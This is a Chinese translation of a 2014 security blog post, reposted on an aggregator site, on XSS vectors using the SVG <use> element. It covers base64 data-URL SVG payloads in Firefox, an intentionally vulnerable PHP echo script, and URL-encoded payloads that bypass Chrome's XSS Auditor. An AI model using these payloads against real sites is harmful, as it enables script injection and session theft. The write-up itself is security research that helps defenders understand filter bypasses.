用SVG繞過瀏覽器XSS審計


[Translated From]:http://insert-script.blogspot.com/2014/02/svg-fun-time-firefox-svg-vector.html

======================
SVG - <use> element ======================

SVG中的<use>元素用於重用其他元素,主要用於聯接<defs>和alike,而我們卻用它來引用外部SVG文件中的元素
元素通過其id被引用,在<use>標簽的xlink:href屬性中以'#'井字符開頭,外部元素的引用同樣如此
基本結構如下所示:

test.html
<svg>
<use xlink:href='external.svg#rectangle' />
</svg>
external.svg:
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>
sxternal.svg文件以<svg>標簽開始,其id設置為rectangle(矩形),使用<rect>標簽繪一個矩形。可以使用<a>環繞<rect>標簽,這樣會創建一個超鏈接。使用Javascript的url協議,可點擊的超鏈接在點擊后會執行Javascript。

雖然SVG是經由<use>標簽加載的,Javascript將會得到執行。有一點需要注意,它只能加載SVG文件,必須滿足同源策略

======================
FIREFOX
======================
由於加載的外部SVG文件必須是同源的,這個特性看起來似乎無法作為有用的XSS攻擊向量,但Firefox會幫我們提升這個攻擊向量
首先,你可以使用data:url協議,它允許我們百忙之中從內部創建一個文件。它要求正確的mime-type,在這里為image/svg+xml。mimie-type后是我們的攻擊載荷或關鍵字base64。特別地,由於數據被base64編碼,這有助於避免突破HTML結構的問題。
現在我們不必再依賴於服務器上的另一個文件了:
test.html:
<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW
5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI
iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8
YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx
vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG
g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd
mc+#rectangle" />
</svg>

 解碼后的base64載荷:

<svg id="rectangle" 
xmlns="http://www.w3.org/2000/svg" 
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>
瀏覽器會顯示出一個黑色的矩形,當點擊時會彈出其location
但是為什么要煩擾受害者去點擊呢,他們從來都不會去做該做的事:)

external.svg中的<script>標簽不會被解析,但是SVG支持<foreignObject>元素 通過闡述這個對象需要的擴展屬性,有可能加載非SVG元素
這就意味着現在有可能是有<iframe>、<embed>及其他所有支持的HTML元素了,我們可以從一堆元素中進行選擇執行Javascript,這里使用<embed>+JavascriptURL協議
看如下SVG:
<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">

<script>alert(1)</script>

<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">

<embed xmlns="http://www.w3.org/1999/xhtml" 
src="javascript:alert(location)" />

</foreignObject>
</svg>
它會通過<foreignObject>加載嵌入的標簽,使用JavascriptURL協議執行Javascript
然后我們用base64對載荷進行編碼,通過data:協議加載它
test.html
<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />
</svg>
在這個案例中,test.html用Firefox27打開,會彈出location:


這樣我們在SVG中就有了另一個能執行Javascript的向量了
另外,在攻擊載荷中包含了一個<script>alert(1)</script>,這證明了<script>標簽不會被解析
======================
CHROME 
XSS Auditor Bypass
======================
現在用這個特性來對付Chrome,Chrome不支持<use>標簽xlink:href屬性中的data:URL協議,另外目前還沒有找到無需用戶交互便執行Javascript的方法
不過至少在右用戶交互的情況下,可以Bypass Blink/Webkit XSS Auditor
這里不需要用到參數污染,有一個參數就夠了,Blink/Webkit XSS Audito無法捕獲將參數拆分成兩個或多個的XSS攻擊
看一下這個php腳本(xss.php):
<?php
echo "<body>";
echo $_GET['x'];
echo "</body>";
?>
這個腳本存在XSS漏洞,但是使用下面這樣的載荷則會觸發XSS Auditor:
http://site.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg> 

 因此,讓我們使用<use>元素吧

======================
Creating the
SVG on the fly
======================
我們想加載另外的SVG文件,因此我們以<svg><use xlink:href= 開始
但是等一下,它必須滿足同源,我們不能使用data偽協議,該怎么獲取服務器上的文件呢?
很簡單,我們在一行中兩次利用XSS漏洞!首先,我們構建一個URL,制作一個包含了Javascript URL為偽協議的SVG
http://site.com/xss.php?
x=<svg id="rectangle" 
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100" />
</a>
</svg>
如果你將整個URL粘貼到沒有XSS Filter的瀏覽器,馬上就會出現一個黑色的矩形。但是前面已經提到過,Chrome的XSS Auditor會捕獲這種攻擊,還是繼續吧:
現在我們要在<use>元素中使用創建的SVG文件,制造一個形如這樣的URL:
http://site.com/xss.php?
x=<svg><use height=200 width=200
xlink:href='http://vulnerabledomain.com/xss.php
?x=<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect class="blue" x="0" y="0" width="100" height="100"/> </a></svg>#rectangle'/></svg>

不要忘了進行URL編碼:

http://site.com/xss.php?
x=%3Csvg%3E%3Cuse%20height=200%20width=200%20
xlink:href=%27http://site.com/xss.php?
x=%3Csvg%20id%3D%22rectangle%22%20
xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20
xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20
%20%20%20width%3D%22100%22%20height%3D%22100%22%3E
%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E
%3Crect%20class%3D%22blue%22%20x%3D%220%22%20
y%3D%220%22%20width%3D%22100%22
%20height%3D%22100%22%20%2F%3E
%3C%2Fa%3E
%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E

這下應該會顯示出矩形了,點擊就會執行alert,但是這一次沒有觸發XSS Auditor :)

 

 
        
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM